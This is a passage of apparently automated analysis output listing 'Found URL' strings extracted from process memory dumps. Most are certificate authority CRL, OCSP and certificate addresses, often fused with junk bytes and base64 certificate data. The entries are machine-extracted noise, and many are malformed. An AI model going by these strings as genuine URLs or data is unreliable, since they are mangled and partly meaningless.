"http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0]bbae" - Source: "00000000-00006468.00000001.152229.722D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" - Source: "00000000-00006468.00000001.152229.722D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0:'l$zmsnc" - Source: "00000000-00006468.00000001.152229.722D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt00_1t?lvbp)r" - Source: "00000000-00006468.00000001.152229.722D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0!2es" - Source: "00000000-00006468.00000002.152247.57029000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006468.00000002.152247.57029000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e@%" - Source: "00000000-00006468.00000002.152247.57029000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006468.00000002.152247.57029000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006468.00000002.152247.57029000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006468.00000002.152247.57029000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00006468.00000002.152247.57029000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006468.00000002.152247.57029000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0u1+0)" - Source: "00000000-00006468.00000002.152247.57029000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00006468.00000002.152247.57029000.00000004.mdmp") Found URL "http://www.microsoft.comwashington1sn?$4yemwashington1redmond1microsoft" - Source: "00000000-00006468.00000002.152247.57270000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0&ei/cr2010-06-23.crl0z1.3.6.1.4.1.311.2.1.42.1.42.1.4redmond1@t_q\vdq9iqmgvw,czcpm5qaucooe:j9_($n" - Source: "00000000-00006468.00000002.152247.71343000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006468.00000002.152247.71343000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.4http@" - Source: "00000000-00006468.00000002.152247.71343000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006468.00000002.152247.71343000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006468.00000002.152247.71343000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006468.00000002.152247.71343000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006468.00000002.152247.71343000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006468.00000002.152247.714C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00006468.00000002.152247.714C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0m$57wjuok26l" - Source: "00000000-00006468.00000002.152247.7150F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006468.00000002.152247.7150F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0dyd!0[p%0" - Source: "00000000-00006468.00000002.152247.7150F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0vd!7i6u4$i<-o_-!dq" - Source: "00000000-00006468.00000002.152247.7150F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0]bbae" - Source: "00000000-00006468.00000002.152247.7150F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0a08." - Source: "00000000-00006468.00000002.152247.7150F000.00000004.mdmp") Found URL "http://www.microsoft.comhq[q@" - Source: "00000000-00006468.00000002.152247.7158D000.00000004.mdmp") Found URL "http://www.microsoft.commicrosoft.management.infrastructure.userfilteredexceptionhandlingrefemit_inmemorymanifestmodulemscorlibsystem.diagnosticsdebuggableattributedebuggingmodes.ctorsystem.runtime.compilerservicesruntimecompatibilityattributesystemobjectuserfilteredexceptionhandlingexceptionactioninvokefunc" - Source: "00000000-00006468.00000002.152247.7158D000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006468.00000002.152247.71652000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0'.b!" - Source: "00000000-00006468.00000002.152247.71652000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0mpfa=" - Source: "00000000-00006468.00000002.152247.71652000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt00_1t?lvbp)r" - Source: "00000000-00006468.00000002.152247.71652000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0:'l$zmsnc" - Source: "00000000-00006468.00000002.152247.71652000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0::vm4" - Source: "00000000-00006468.00000002.152247.71652000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0ahq.a)d$g5" - Source: "00000000-00006468.00000002.152247.71652000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0]bbae" - Source: "00000000-00006468.00000002.152247.71652000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0!2es" - Source: "00000000-00006468.00000002.152247.71652000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiopsnepository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/zeraut_2010-06-23.crl0zn0l0j>http://" - Source: "00000000-00006468.00000002.152247.71730000.00000004.mdmp") Found URL "http://www.microsoft.comheapdqnvcbudbeajgvpn7voifsr5gqwxgmwk3yycuf+rlywnehgge0/ravdx7iiejzihf8cscmx+9lbxfv9xytooriuosnt85ceptfmkzqwtsvmf6oind27dwweug73dxgzpkvmgmybmep7hqasggc6cmgwr9c49sdcxzqbnqoi0ns5nzqm7mhxhkk0eiozssqzmibprv/vgxiqszvc0ab0kq/ldccbrewggszoamcaqicezmaaaaxhb1wcuv4yceaaaaaabcwdqyjkozihvcnaqembqawgygxczajbgnvbaytalvtmrmweqydvqqiewpxyxnoaw5ndg9umrawdgydvqqhewdszwrtb25kmr4whaydvqqkexvnawnyb3nvznqgq29ycg9yyxrpb24xmjawbgnvbamtku1py3jvc29mdcbsb290ienlcnrpzmljyxrlief1dghvcml0esaymdewmb4xdtizmdyxmze4mzqxnvoxdtm1mdyxmze4ndqxnvowuzelmakga1uebhmcvvmxhjacbgnvbaotfu1py3jvc29mdcbdb3jwb3jhdglvbjekmciga1ueaxmbv2luzg93cybqcm9kdwn0aw9uifbdqsaymdizmiicijanbgkqhkig9w0baqefaaocag8amiiccgkcagea1s7lcl1ucuvb2kjr3vjiir+mtkab4s1pqvmgm4raqsd4+4k7dn2grazhcc9n2x3avwbcgobztxrsqortckmdvnfxknjl0rm+kgid0wuceoop/fbrxooqb6+cgaauw4sfeekfvdkflehx4zf+ja+s5ojp811vyjflsm20jqaq4qecmi9nhqk3txuxeez0bqelnbaemin1rzympipnfhishdklx3gkqsovzi6lod6vrm/t3bncpc2pfyoiom6t+tvdpxay6j2bdhf5pyfrobr0vqhvqw8elews5ep4hcs1picnj1qsvrl+fb5mkj6z7vcjssej6jv4kexparigmm5qa6fjvp9zv0zqkn8zdw/s+ms/wkoozviwlsplk8ziji8nf4s9ex+aolzlma3oz24fjrx6ojn3gcgwsbxfppka1lykukitmmalpma7cjz+napcuwkub7mapaaekaeqnt9rsv6pfdbsee7m2ld4denzt9lsenawsh1xgmc3ulejuohpwdmlq0ovrxh3x+wjv5kfo1evnxg/lewkgnbkho37vaciskzkazcgj8awipyupjmctqk/m2qcivtorbxrpebzy6gvh6uxpcto7hg6rsfoc73rhvsqos40dueqooxnw2oyjszwwunydj38rexxkzdsciqc5b+f7val9lscaweaaaocauywggfcma4ga1uddweb/wqeawibhjaqbgkrbgeeayi3fqeeawibadadbgnvhq4efgquhu0lrj9acdi9hiezvx+fmvmi+aawgqyjkwybbagcnxqcbawecgbtahuaygbdaeewdwydvr0taqh/bauwaweb/zafbgnvhsmegdawgbtv9lblj+iixgjo0t2ukfvxzpoyxdbwbgnvhr8etzbnmeugsabhhkvodhrwoi8vy3jslm1py3jvc29mdc5jb20vcgtpl2nybc9wcm9kdwn0cy9nawnsb29dzxjbdxrfmjaxmc0wni0ymy5jcmwwwgyikwybbquhaqeetjbmmeogccsgaqufbzachj5odhrwoi8vd3d3lm1py3jvc29mdc5jb20vcgtpl2nlcnrzl01py1jvb0nlckf1df8ymdewlta2ltizlmnyddanbgkqhkig9w0baqwfaaocageaktbcan+e3tyyb8j/s05y+5xvmouq6nxxuofjndhacjwysrjzfhd5bf6cshvheapsf8mn6clc0+lzub2sxxsuvwzbnbuhn1m2zcmd0q5gmqm8esargch9dkybjnq4pitbz2wrxwe8cybxsqhxpyayayjlah0gixfgdu3xj0t5vonxyhsc1jxhsjoqsouwhhokr/nyofyhguoy1huolslzerrrrrjzqyxrwyhq3ej0wo+2nefpvn+zns7p9pi6v92syfq8ncqh3xe4zq565s3rewdddqpa5c7gw1xhtphsdmln928adrumcw0gubb8hgpsbdiourpmvdf/oxbrsp8vu3v+fyzxrhhbi2brxdx6snp6+vgjrli9zomcre9fyw1flhnvttb22+hdgzrvzsqdnonvrpyel9knmjcexzl9qmslwgenognp2/1kyupez3wywfyqqspnyw9ruhkv13axghpgmiiaxaibatbqmfmxczajbgnvbaytalvtmr4whaydvqqkexvnawnyb3nvznqgq29ycg9yyxrpb24xjdaibgnvbamtg1dpbmrvd3mguhjvzhvjdglvbibqq0egmjaymwitmwaaasrdopfx4ccvqgaaaaabjdanbglghkgbzqmeagefakcbrjazbgkqhkig9w0bcqmxdaykkwybbagcnwibbdacbgorbgeeayi3agelmq4wdaykkwybbagcnwibftavbgkqhkig9w0bcqqxigqgx+uibrsh0f43lxz5oulkzw1rchgekz/klgthn/wotcmwqgykkwybbagcnwibdde0mdkgfiasae0aaqbjahiabwbzag8azgb0orqaggh0dha6ly93d3cubwljcm9zb2z0lmnvbt" - Source: "00000000-00006468.00000002.152247.722D0000.00000004.mdmp") Found URL "http://www.microsoft.comheapcm9kdwn0cy9nawnsb29dzxjbdxrfmjaxmc0wni0ymy5jcmwwwgyikwybbquhaqeetjbmmeogccsgaqufbzachj5odhrwoi8vd3d3lm1py3jvc29mdc5jb20vcgtpl2nlcnrzl01py1jvb0nlckf1df8ymdewlta2ltizlmnyddanbgkqhkig9w0baqsfaaocageanvv9/cqt4swfzwexjfvhnnjl/klv6lwutj5or2r4sqatlz0xm7u518jxnj/azgx80hu5bbspmetcj/ts0agugclu6wznolnn3zi6th542dyunkmcvgadsaw+iehp4loj7nvfam++kctu2d9idqhzgn5tggz1bsnu5hhtdsrxud2f8449xvno32x2pfaq95w2kfun0cs9qkc/gbysehfdpsfgqjy4rpf5kyndvbewvivcs/wmnosziefwc2qbwoezqhlsdyo2wh3dyxmulgt7bj8scxgu6zgyqvvfsan0dlzskydspezkpmy7t7ug+jia2zb0j/arafboxnt99kxybxcrdtdfnlb62fd+cljdqdzhvg2dy3rillfory3bfarxv2t5jl5zbcqocb2zavdjvgtzc9d/hlteay5agzfrdz+kknxngsgkujhlmm77ivrrakurr6nxt67i6ilet53s0ex2tvducbfpaur+fkfhbhp+crvsqwy9af3lwufjfn6tvsv4o+s3fb+0zj6lmvgevl8cwykiexcdfymncp7ntdaogokljzbaukz5m/8k6tt4jdvnk+anuoammdbhiurwj0i9jztmdhrbatgepu1+odezfbzl6xu/ohbe0zdxyks6ijoiyn/zcgntty3ugm2lbrdbvtnys6fwzvkhggnqmiicoaibatcb+agb0asbzjcbyzelmakga1uebhmcvvmxezarbgnvbagtcldhc2hpbmd0b24xedaobgnvbactb1jlzg1vbmqxhjacbgnvbaotfu1py3jvc29mdcbdb3jwb3jhdglvbjelmcmga1uecxmctwljcm9zb2z0ieftzxjpy2egt3blcmf0aw9uczenmcuga1uecxmeblnoawvszcbuu1mgrvnookuwmditmdvfmc1eotq3msuwiwydvqqdexxnawnyb3nvznqgvgltzs1tdgftccbtzxj2awnloimkaqewbwyfkw4dahodfqc3v9iso22xob7zxn5dxceq+9iv/6cbgzcbgkr+mhwxczajbgnvbaytalvtmrmweqydvqqiewpxyxnoaw5ndg9umrawdgydvqqhewdszwrtb25kmr4whaydvqqkexvnawnyb3nvznqgq29ycg9yyxrpb24xjjakbgnvbamthu1py3jvc29mdcbuaw1llvn0yw1wifbdqsaymdewma0gcsqgsib3dqebcwuaagua7kpq2daiga8ymdi2mdkwmzewntyynfoydziwmjywota0mta1nji0wjb3md0gcisgaqqbhfkkbaexlzatmaocbqduq9dyageamaocaqacag0magh/maccaqacahppmaocbqdursjyageamdygcisgaqqbhfkkbaixkdammawgcisgaqqbhfkkawkgcjaiageaagmhoschcjaiageaagmbhqawdqyjkozihvcnaqelbqadggebahakiyon9oz6ywqvy1y0k/lvpllxwa9kpd4curgii2a79ewyyfhf4zqwbn0tfhpzmkvewzgroovxh7c02vxmhrs1kylwi8djtnhfkwovjheapb4s8t8zq2qtnqposdluwxy3409jqzz9szr36sbm+vs+ptkt2cvtc94znznckoeb15jnwugl2d6vo8wgp4xekc0onzwepa3adxycocwetrgkzi7ha0irlnp2ugoxggqnmiiecqibatcbkzb8mqswcqydvqqgewjvuzetmbega1uecbmkv2fzagluz3rvbjeqma4ga1uebxmhumvkbw9uzdeembwga1uechmvtwljcm9zb2z0ienvcnbvcmf0aw9umsywjaydvqqdex1nawnyb3nvznqgvgltzs1tdgftccbqq0egmjaxmaitmwaaaiko1wqqtjfyggabaaacktanbglghkgbzqmeagefakccauowggyjkozihvcnaqkdmq0gcyqgsib3dqejeaeemc8gcsqgsib3dqejbdeibcdt6k99ez2dfybw9vyfalrp4fi2/r9ctzr5it6zugz+ozcb+gylkozihvcnaqkqai8xgeowgecwgeqwgb0eilfkpfeitvd/lsveumxqpkkeoetgkmkfevmuel9oorqsmigymigaph4wfdelmakga1uebhmcvvmxezarbgnvbagtcldhc2hpbmd0b24xedaobgnvbactb1jlzg1vbmqxhjacbgnvbaotfu1py3jvc29mdcbdb3jwb3jhdglvbjemmcqga1ueaxmdtwljcm9zb2z0ifrpbwutu3rhbxaguenbidiwmtacezmaaaipdtvkkrsx8hoaaqaaaikwigqgbz1lyvi/eo/uwkv1buhffyjs/m3udkoqqi2l65oxk98wdqyjkozihvcnaqelbqaeggiaf8tomiqsr+m+wi4+mpud9lxi3i8gdhp90wbcq4czffqsifbze/xgsen6meyrli7lz54bimewrawrnkjx6kaqlqxssrg13ouydwbijnozce3j4ciykvi6udfiqltgoerejf6zp3fr0wpuoco9xx7yybmvaovev3heapn,wis.z_h:" - Source: "00000000-00006468.00000002.152247.722D0000.00000004.mdmp") Found URL "http://www.microsoft.comheaphttp://www.microsoft.com" - Source: "00000000-00006468.00000002.152247.722D0000.00000004.mdmp") Found URL "http://www.microsoft.comhttp://www.microsoft.com(r_&0r_&0r_&c5n6c5n6c5n6p94rc5n6c5n6" - Source: "00000000-00006468.00000002.152247.722D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006468.00000002.152247.722E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0]bbae" - Source: "00000000-00006468.00000002.152247.722E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" - Source: "00000000-00006468.00000002.152247.722E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0:'l$zmsnc" - Source: "00000000-00006468.00000002.152247.722E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt00_1t?lvbp)r" - Source: "00000000-00006468.00000002.152247.722E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0!2es